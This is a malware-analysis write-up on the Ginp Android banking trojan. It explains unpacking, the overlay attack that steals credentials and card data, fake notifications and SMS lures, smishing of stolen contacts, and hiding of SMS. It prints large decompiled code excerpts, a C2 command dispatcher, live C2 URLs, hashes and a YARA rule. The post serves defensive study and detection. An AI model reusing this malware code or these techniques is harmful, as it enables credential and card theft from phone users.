Technical analysis of Ginp android malware

By Muhammad Hasan Ali

Published: 2022-09-22 · Archived: 2026-04-06 00:09:02 UTC

12 minute read

بسم الله الرحمن الرحيم

FreePalestine

UnpackingPermalink

When we open the sample in a decompiler such as `jadx-gui`, we will see it is nop code and obfuscated code which makes the analysis of the code more harder and it's an indicator that the sample is packed. And we can use APKiD or droidlysis to detect which packer is it. After running any of the previous tools against the sample, the packer is `JsonPacker`. We can get the real payload of the malware by using Frida and using this script to hook the running malicous APK in any emulator. Then pull the payload to our host to analyze it. The payload called `sFB.json`.

The most interesting part in the `Ginp` android malware is the `Overlya attack`. After installing the malware, the malware will ask the user- but not politely- to enable `Accessibility service`. The malware will be able to get the content of the screen and allow any permission the malware needs to do malicious actions.

After enabling the `Accessibility service`, the malware will collect information about the installed apps on the device and send it to the C2 server. When a targeted app from the list is opened, the malware will send to the C2 server that the user opened this app then the C2 server sends a command `start_inj` to the malware to perform `Overlay attack` and open a WebView to steal login credentials and credit card credentials. The targeted APPs names is found in the payload code.

```
public void onCreate(Bundle bundle0) {
      super.onCreate(bundle0);
      if(this.getIntent().getExtras() != null) {
          this.pkg = this.getIntent().getExtras().getString("pkg");
      }

      Dialog dialog0 = new Dialog(this);
      this.dialog = dialog0;
      dialog0.setContentView(0x7F030001);
      try {
          Window window0 = this.dialog.getWindow();
          if(window0 != null) {
              window0.setBackgroundDrawable(new ColorDrawable(0));
```

```
                window0.setLayout(-2, -2);
                window0.setGravity(0x30);
                window0.clearFlags(2);
            }
        }
        catch(NullPointerException unused_ex) {
            return;
        }

        WebView webView0 = (WebView)this.dialog.findViewById(0x7F020000);
        webView0.setWebViewClient(new WebViewClient());
        webView0.loadUrl(this.store.get(this, "URL") + "push.php?pkg=" + this.pkg);
        ((LinearLayout)this.dialog.findViewById(0x7F020003)).setOnClickListener((/* MISSING LAMBDA PARAMETER */)
            if(ActivityWebViewPush.this.dialog.isShowing()) {
                ActivityWebViewPush.this.dialog.dismiss();
            }

            ActivityWebViewPush.this.Tools.startInj(ActivityWebViewPush.this, ActivityWebViewPush.this.pkg);
            ActivityWebViewPush.this.finishAndRemoveTask();
        });
        this.dialog.setCanceledOnTouchOutside(true);
        this.dialog.show();
        Utils.playNotification(this, 1, false);

        class com.truly.suggest.ActivityWebViewPush.1 implements View.OnClickListener {
            @Override  // android.view.View$OnClickListener
            public void onClick(View view0) {
                ActivityWebViewPush.this.close(ActivityWebViewPush.this.dialog);
            }
        }

    }
```

But what if the user didn’t opened any targeted apps? Here is the trick, The malware can push a fake notification contains some text for example ` there’s something wrong in your account and you need to check` something to lure the user and the icon of a targeted app so that the user opens the target app. This way the malware makes sure that the user will open the app.

```
protected void onHandleIntent(Intent intent0) {
        try {
            int v = (int)System.currentTimeMillis();
            NotificationManager notificationManager0 = (NotificationManager)this.getSystemService("notification"
            String s = intent0.getStringExtra("title");
            String s1 = intent0.getStringExtra("content");
            String s2 = intent0.getStringExtra("googleIcon");
            int v1 = s2 == null || (s2.equals("true")) ? 0x7F010001 : 0x7F010000;
```

```
            this.Tools.Log(this, "Showing notification, Title: " + s + ", Text: " + s1, Boolean.valueOf(true));
            String s3 = "ch_" + v;
            if(Build.VERSION.SDK_INT >= 26) {
                NotificationChannel notificationChannel0 = new NotificationChannel(s3, s3, 4);
                notificationChannel0.setDescription("channel-description");
                notificationChannel0.enableLights(true);
                notificationChannel0.setLockscreenVisibility(1);
                notificationChannel0.enableVibration(true);
                notificationChannel0.setVibrationPattern(new long[]{100L, 200L, 300L, 400L, 500L, 400L, 300L, 20
                notificationChannel0.setBypassDnd(true);
                notificationChannel0.setShowBadge(true);
                if(notificationManager0 != null) {
                    notificationManager0.createNotificationChannel(notificationChannel0);
                }

                Notification.Builder notification$Builder0 = new Notification.Builder(this, s3).setSmallIcon(v1)
                if(notificationManager0 != null) {
                    notificationManager0.notify(v, notification$Builder0.build());
                }
            }
            else {
                Notification notification0 = new Notification.Builder(this).setContentTitle(s).setContentText(s1
                if(notificationManager0 != null) {
                    notificationManager0.notify(v, notification0);
                }
            }

            try {
                TimeUnit.MILLISECONDS.sleep(30000L);
            }
            catch(InterruptedException unused_ex) {
                return;
            }

            if(notificationManager0 != null) {
                notificationManager0.cancelAll();
                return;
            }
        }
        catch(Exception unused_ex) {
            return;
        }
    }
```

Another trick is to push SMSs to the user contains some text to lure the user to open the targeted app that the malware wants. This mind-blowing and scary at the same time.

```
private void WriteSms(String s, String s1) {
       ContentValues contentValues0 = new ContentValues();
       contentValues0.put("address", s1);
       contentValues0.put("date", Long.valueOf(System.currentTimeMillis()));
       contentValues0.put("body", s);
       Boolean boolean0 = Boolean.valueOf(false);
       contentValues0.put("read", boolean0);
       contentValues0.put("seen", boolean0);
       this.getContentResolver().insert(Telephony.Sms.Inbox.CONTENT_URI, contentValues0);
       Intent intent0 = new Intent("android.provider.Telephony.ACTION_CHANGE_DEFAULT");
       intent0.putExtra("package", this.store.get(this, "SMSDefaultApp"));
       this.startActivityForResult(intent0, 0x14B06);
   }

   @Override  // android.app.Activity
   protected void onActivityResult(int v, int v1, Intent intent0) {
       if(v == 0x14B05 && v1 == -1 && (this.Tools.isDefaultSMSApp(this))) {
           this.WriteSms(this.Body, this.Sender);
       }

       if(v == 0x14B06 && v1 == -1 && !this.Tools.isDefaultSMSApp(this)) {
           try {
               ServiceAccessibility.autoClickForSmsManager = false;
               this.Tools.Log(this, "Fake SMS has been sent successfully!", Boolean.valueOf(true));
               Handler handler0 = new Handler();
               com.truly.suggest.ActivityGenerateFakeSMS.1 activityGenerateFakeSMS$10 = new Runnable() {
                   @Override
                   public void run() {
                       ActivityGenerateFakeSMS.this.Tools.notifyAndOpenSMS(ActivityGenerateFakeSMS.this);
                   }
               };
               this._const.getClass();
               handler0.postDelayed(activityGenerateFakeSMS$10, 30000L);
               this.finishAndRemoveTask();
           }
           catch(Exception unused_ex) {
           }

           return;
       }
   }

   @Override  // android.app.Activity
   protected void onCreate(Bundle bundle0) {
       super.onCreate(bundle0);
       if(this.getIntent().getExtras() == null) {
```

```
            this.finishAndRemoveTask();
            return;
        }

        this.Sender = this.getIntent().getExtras().getString("SENDER");
        this.Body = this.getIntent().getExtras().getString("BODY");
        ServiceAccessibility.autoClickForSmsManager = true;
        if(!this.Tools.isDefaultSMSApp(this)) {
            Intent intent0 = new Intent("android.provider.Telephony.ACTION_CHANGE_DEFAULT");
            intent0.putExtra("package", this.getPackageName());
            this.startActivityForResult(intent0, 0x14B05);
            return;
        }

        this.WriteSms(this.Body, this.Sender);
    }
```

The attacker uses social engineering to lure the user to open a specifc app such as banking app by pushing fake notifications or sending SMSs to the messaging app.

When the user open any targeted app and the malware successeded to steal the credential such as login credential or/and credit card credential, the malware labeled this app and don't perform `Overlay attack` against this app.

```
public void onPageFinished(WebView webView0, String s) {
                super.onPageFinished(webView0, s);
                if(s.contains("|DONE|")) {
                    try {
                        Utils.msg(ActivityInjection.this, "[Injector] Grabbing on " + ActivityInjection.pkg + "
                        Context context0 = ActivityInjection.this.mContext;
                        ActivityInjection.this.Tools.delInjectablePackage(context0, ActivityInjection.pkg, Boole
                        Context context1 = ActivityInjection.this.mContext;
                        ActivityInjection.this.Tools.enableInjections(context1, false);
                        Context context2 = ActivityInjection.this.mContext;
                        ActivityInjection.this.store.set(context2, "LOCKER_PKG", "");
                        Context context3 = ActivityInjection.this.mContext;
                        ActivityInjection.this.Tools.startHiddenSMS(context3, true);
                        if(ActivityInjection.pkg.equals("com.android.vending")) {
                            Context context4 = ActivityInjection.this.mContext;
                            ActivityInjection.this.Tools.enableSocialInjection(context4, Boolean.valueOf(false)
                        }
                    }
                    catch(Exception unused_ex) {
                        return;
                    }

                    ActivityInjection.this.finishAndRemoveTask();
```

```
            }
}
```

PresistancePermalink

After installing the malware, the malware will hide its icon and only the name of the malware `MediaPlayer` is visible. After enabling the `Accessibility service`, the malware will hide the icon and the name of the malware. And if the user goes to the app from the settings, the malware will bring the screen to the `Home screen`. And disable `Play protect`, not to label it as malicious and it won't delete the malware. This happens because you enabled `Accessibility service`, so don't enable `Accessibility service` next time.

```
protected void onCreate(Bundle bundle0) {
      super.onCreate(bundle0);
      Bundle bundle1 = this.getIntent().getExtras();
      if(bundle1 != null && (bundle1.getBoolean("CLOSE"))) {
          this.Tools.Log(this, "[Activity Play Protect] Redirecting to Google Play Services", Boolean.valueOf(
          this.Tools.goToPlayStoreSomething(this, "com.google.android.gms");
          this.finish();
          return;
      }
}
```

The malware will try to steal the stored SMSs from the user's device. And send them to the C2 server using `ALL_SMS` command. And the malware will steal all the contacts and send them to the C2 server using `GET_CONTACTS` command. After stealing the contacts, the malware will try smishing these stolen contacts by sending spam SMSs messages to download malicious APPs using `SEND_SMS` command.

```
public void run() {
      try {
          String s = this.phoneNumbers;
          if(s != null) {
              boolean z = s.contains(":");
              int v = 0;
              if(!z) {
                  this.Tools.Log(this.ctx, "[SMSSender] Sending SMS: " + this.message + " to " + this.phoneNur
                  this.sendMSG(this.phoneNumbers, this.message);
                  return;
              }

              String[] arr_s = this.phoneNumbers.split(":");
              this.Tools.Log(this.ctx, "[SMSSender] Sending SMS: " + this.message + " to " + arr_s.length + "
              while(v < arr_s.length) {
                  String s1 = arr_s[v];
                  Thread.sleep(0x460L);
                  this.sendMSG(s1, this.message);
```

```
                    ++v;
                    continue;
                    this.Tools.Log(this.ctx, "[SMSSender] Sending SMS: " + this.message + " to " + this.phoneNur
                    this.sendMSG(this.phoneNumbers, this.message);
                    return;
                }
            }
        }
        catch(Exception unused_ex) {
            return;
        }
    }

    private void sendMSG(String s, String s1) {
        try {
            SmsManager smsManager0 = SmsManager.getDefault();
            smsManager0.sendMultipartTextMessage(s, null, smsManager0.divideMessage(s1), null, null);
            this.Tools.Log(this.ctx, "[SMSSender] Sending SMS: " + s1 + " to " + s, Boolean.valueOf(false));
        }
        catch(Exception unused_ex) {
        }
    }
```

Hide SMSsPermalink

The malware will hide SMSs by enabling the malware to be the default messaging app. When the an SMS comes, the malware will receive the SMS and the malware won’t push a notification to the user’s device.

```
protected void onHandleIntent(Intent intent0) {
        Utils.doWait(1000L);
        Boolean boolean0 = Boolean.valueOf(true);
        if(!Utils.checkAccess(this)) {
            this.Tools.Log(this, "[ServiceHiddenSMS] Accessibility not running.", boolean0);
            this.store.set(this, "ENABLE_HIDDEN_SMS", "false");
            this.stopSelf();
            return;
        }

        if(!Utils.hasThisPermission(this, "sms")) {
            this.Tools.Log(this, "[ServiceHiddenSMS] No permissions", boolean0);
            this.store.set(this, "ENABLE_HIDDEN_SMS", "false");
            this.stopSelf();
            return;
        }
```

```
        ServiceHiddenSMS.isRunning = true;
        try {
            Bundle bundle0 = intent0.getExtras();
            if(bundle0 != null && !bundle0.getBoolean("HIDDEN")) {
                this.setOurAppAsHidden = false;
            }
        }
        catch(Exception unused_ex) {
            return;
        }

        this.Tools.Log(this, "[ServiceHiddenSMS] Starting SMS Manager changer", boolean0);
        int v = 0;
        while(true) {
            String s = Telephony.Sms.getDefaultSmsPackage(this);
            if((this.setOurAppAsHidden) && (this.Tools.isDefaultSMSApp(this)) || !this.setOurAppAsHidden && !th
                this.Tools.Log(this, "<font color=lime>Current SMS Messanger is: " + s + "</font>", boolean0);
                ServiceAccessibility.autoClickForSmsManager = false;
                ServiceHiddenSMS.isRunning = false;
                this.stopSelf();
                return;
            }

            ServiceAccessibility.autoClickForSmsManager = true;
            if(v > 15) {
                this.Tools.Log(this, "[ServiceHiddenSMS] Too many retries...", boolean0);
                ServiceAccessibility.autoClickForSmsManager = false;
                ServiceHiddenSMS.isRunning = false;
                this.stopSelf();
                return;
            }

            this.Tools.Log(this, "[ServiceHiddenSMS] Asking for SMS Change", Boolean.valueOf(false));
            ++v;
            if(this.setOurAppAsHidden) {
                Intent intent1 = new Intent("android.provider.Telephony.ACTION_CHANGE_DEFAULT");
                intent1.addFlags(0x10000000);
                intent1.addFlags(0x40000000);
                intent1.putExtra("package", this.getPackageName());
                this.startActivity(intent1);
            }
            else {
                Intent intent2 = new Intent("android.provider.Telephony.ACTION_CHANGE_DEFAULT");
                intent2.addFlags(0x10000000);
                intent2.addFlags(0x40000000);
                intent2.putExtra("package", this.store.get(this, "SMSDefaultApp"));
                this.startActivity(intent2);
```

```
            }

            Utils.doWait(2000L);
        }
    }
```

CommandsPermalink

These are **not** all the commands which are recived by the malware from the C2 server such as

```
try {
                JSONObject jSONObject2 = new JSONObject(s5);
                if(jSONObject2.has("COMMAND")) {
                    String s6 = jSONObject2.getString("COMMAND");
                    RunnablePingServer.errorsCount = 0;
                    if(s6.equals("NEW_URL")) { // Update the C2 server URL
                        String s7 = jSONObject2.getString("URL");
                        globalService0.Tools.Log(globalService0, "[COMMANDS] Set new URL to: " + s7, Boolean.va
                        globalService0.store.set(globalService0, "URL", s7);
                    }
                    else if(s6.equals("CHANGE_URL")) {
                        String s8 = jSONObject2.getString("URL");
                        globalService0.Tools.changeMainURL(globalService0, s8);
                    }
                    else if(s6.equals("TAKE_SCREENSHOT")) {
                        globalService0.Tools.takeScreenshot(globalService0);
                    }
                    else if(s6.equals("UNLOCK_PLAYSTORE")) { //disable play protect
                        globalService0.Tools.unlockPlayStore(globalService0);
                    }
                    else if(s6.equals("SAVE_LOGCAT")) { // save logs file from the device
                        globalService0.Tools.saveLogCat(globalService0);
                    }
                    else if(s6.equals("KILL")) { // to disable the bot
                        globalService0.Tools.killBot(globalService0);
                    }
                    else {
                        boolean z1 = s6.equals("START_INJ"); // start performing the overlay attack
                        if(z1) {
                            String s11 = jSONObject2.getString("PKG");
                            globalService0.Tools.startInj(globalService0, s11);
                        }
                        else if(s6.equals("START_APP")) { // to open any app
                            String s12 = jSONObject2.getString("PKG");
                            globalService0.Tools.startApp(globalService0, s12);
                        }
```

```
                    else if(s6.equals("GET_APPS")) {// get installed apps on the device
                        globalService0.Tools.getInstalledApps(globalService0);
                    }
                    else if(s6.equals("UNINSTALL_APP")) { // uninstall any specific app
                        String s13 = jSONObject2.getString("PKG");
                        String s14 = jSONObject2.getString("SELF");
                        globalService0.Tools.uninstall(globalService0, s13, s14);
                    }
                }
                else {
                        boolean z2 = s6.equals("TRACKING_ON"); // Track the movement of the user
                        if(z2) {
                            globalService0.store.set(globalService0, "NOTIFY_PKG_CHANGE", "true");
                            Utils.msg(globalService0, "Tracking movement is ON");
                        }
                        else if(s6.equals("TRACKING_OFF")) { // stop tracking
                            globalService0.store.set(globalService0, "NOTIFY_PKG_CHANGE", "false");
                            Utils.msg(globalService0, "Tracking movement is OFF");
                        }
                        else if(s6.equals("CLEAN_AV")) { // uninstall AV if found
                            globalService0.Tools.uninstall_av(globalService0);
                        }
                        else if(s6.equals("START_PERMISSIONS")) { // start allowing permissions
                            globalService0.Tools.startPermissionsNoDoze(globalService0);
                        }
                        else if(s6.equals("START_PERMISSIONS2")) {
                            globalService0.Tools.startPermissions(globalService0);
                        }
                        else if(s6.equals("START_ADVANCED_PERMISSIONS")) {
                            globalService0.Tools.startPermissions2(globalService0);
                        }
                        else if(s6.equals("DISABLE_ACCESSIBILITY")) { // disable accessibility
                            globalService0.Tools.enableAppProtection(globalService0, false);
                        }
                        else if(s6.equals("ENABLE_ACCESSIBILITY")) {
                            globalService0.Tools.enableAppProtection(globalService0, true);
                        }
                        else if(s6.equals("ENABLE_MOBILE_DATA")) { // to enable mobile data
                            Utils.popUpMobileData(this);
                        }
                        else if(s6.equals("GET_CONTACTS")) { // send contacts to the C2 server
                            globalService0.Tools.getAllContacts(globalService0);
                        }
                        else if((s6.equals("SEND_SMS")) && (Utils.hasThisPermission(globalService0, "sms"))
                            String s16 = jSONObject2.getString("SEND_TO");
                            String s17 = jSONObject2.getString("SEND_MSG");
                            globalService0.Tools.SendSMSMessage(globalService0, s16, s17);
```

```
                }
                else if(s6.equals("ALL_SMS")) { // send the stored SMSs on the user device to the C2
                    globalService0.Tools.getAllSMS(globalService0);
                }
                else if(s6.equals("ENABLE_HIDDEN_SMS")) { // hide the SMSs by seting the malware as
                    globalService0.Tools.startHiddenSMS(globalService0, true);
                }
                else if(s6.equals("DISABLE_HIDDEN_SMS")) {
                    globalService0.Tools.startHiddenSMS(globalService0, false);
                }
                else if(s6.equals("STOP_SERVICE_LISTENER")) {
                    ServiceNLStarter.stopMe = true;
                }
            }
             else {
                boolean z3 = s6.equals("START_LOCK");
                if(z3) {
                    String s18 = jSONObject2.getString("PKG");
                    globalService0.store.set(globalService0, "LOCKER_PKG", s18);
                    globalService0.Tools.startLocker(globalService0);
                }
                else {
                    boolean z4 = s6.equals("START_APP_LOCK");
                    if(z4) {
                        String s19 = jSONObject2.getString("PKG");
                        globalService0.store.set(globalService0, "LOCKER_APP", s19);
                        globalService0.Tools.startAppLocker(globalService0);
                    }
                    else if(s6.equals("STOP_LOCK")) {
                        globalService0.store.set(globalService0, "LOCKER_PKG", "");
                    }
                    else if(s6.equals("STOP_APP_LOCK")) {
                        globalService0.store.set(globalService0, "LOCKER_APP", "");
                    }
                    else if(s6.equals("READ_INJECTS")) { // read the list of targeted apps
                        globalService0.Tools.readInjects(globalService0);
                    }
                    else if(s6.equals("WRITE_INJECTS")) { // add to the list of targeted apps
                        String s22 = jSONObject2.getString("INJ");
                        globalService0.Tools.writeInjects(globalService0, s22);
                    }
                        else {
                            boolean z6 = s6.equals("BLOCK_SETTINGS");
                            if(s6.equals("ENABLE_INJECT")) { // enable ijection to perform overl
                                globalService0.Tools.enableInjections(globalService0, true);
                            }
                            else if(s6.equals("DISABLE_INJECT")) {
```

```
                globalService0.Tools.enableInjections(globalService0, false);
            }
            else {
                boolean z7 = s6.equals("ENABLE_CC_GRABBER"); // enable overlay a
                if(z7) {
                    globalService0.Tools.addInjectablePackage(globalService0, "c
                }
                else if(s6.equals("DISABLE_CC_GRABBER")) {
                    globalService0.Tools.delInjectablePackage(globalService0, "c
                }
                else if(s6.equals("ADD_INJECT_PACKAGE")) {
                    String s25 = jSONObject2.getString("PKG");
                    if(s25.length() > 2) {
                        globalService0.Tools.addInjectablePackage(globalService0
                    }
                }
                else if(s6.equals("INSERT_SMS")) { // write a message to send to
                    String s28 = jSONObject2.getString("SENDER");
                    String s29 = jSONObject2.getString("BODY");
                    globalService0.Tools.fakesms(globalService0, s28, s29);
                }
                    }
                    else if(s6.equals("PUSH")) { // to push a fake notification
                        Intent intent0 = new Intent(globalService0, ____ServiceS
                        intent0.putExtra("title", jSONObject2.getString("TITLE")
                        intent0.putExtra("content", jSONObject2.getString("CONTE
                        intent0.putExtra("googleIcon", jSONObject2.getString("GO
                        globalService0.startService(intent0);
                    }
                    else if(s6.equals("PUSH_NOTIFY")) {
                        String s33 = jSONObject2.getString("PKG");
                        globalService0.Tools.showPushNotify(globalService0, s33)
                    }
                }
```

IoC[Permalink]

APK hash: `0ea7462bec3d1f3166513468b8f0df4cbce347a12985337bc07880889003d348`

Payload (sFB.json) hash: `4f731ee9f2785ebeb155edebd23d14e555c9bf4758fa7f02db634d55f9441710`

C2 server:

http://advancedbuffs.top/

http://insideluck.cc/

greedythomas[.]top

YaraPermalink

```
rule Ginp {
 meta:
   author      = "@muha2xmad"
   date        = "2022-09-21"
   description = "Ginp android malware"
   version     = "1.0"

 strings:
 // packed sample strings
   $unp1  = "com.common.note" nocase
   $unp2  = "com.truly.suggest" nocase
   $unp3  = "/download-protection" nocase
   $unp4  = "com.truly.suggest.ServiceAccessibility" nocase
   $unp5  = "com.truly.suggest.useless.____ServiceShowNotification" nocase
   $unp6  = "com.truly.suggest.ServiceHiddenSMS" nocase
   $unp7  = "com.truly.suggest.ServiceMessenger" nocase
   $unp8  = "com.truly.suggest.ServiceInjectLocker" nocase

   // payload strings
   $p1 = "api202" nocase
   $p2 = "mp32" nocase
   $p3 = "2.8f" nocase
   $p4 = "http://advancedbuffs.top/" nocase
   $p5 = "http://insideluck.cc/" nocase
   $p6 = "getFile_b0bffe7506764da001745457d16fe6e8.php" nocase
   $p7 = "getPhoto_b0bffe7506764da001745457d16fe6e8.php" nocase
   $p8 = "greedythomas.top" nocase

 condition:
   uint32be(0) == 0x504B0304 // APK file signature
     and ((all of ($unp*)) or (all of ($p*)))

}
```

Article quotePermalink

> يا نافخا على القمر لتطفئه، خارت قواك ولم يدر بك القمر

REFPermalink

- ThreatFabric analysis on Ginp

- securityintelligence analysis on Ginp
- droidlysis
- APKiD
- Frida
- script

Source: https://muha2xmad.github.io/malware-analysis/ginp/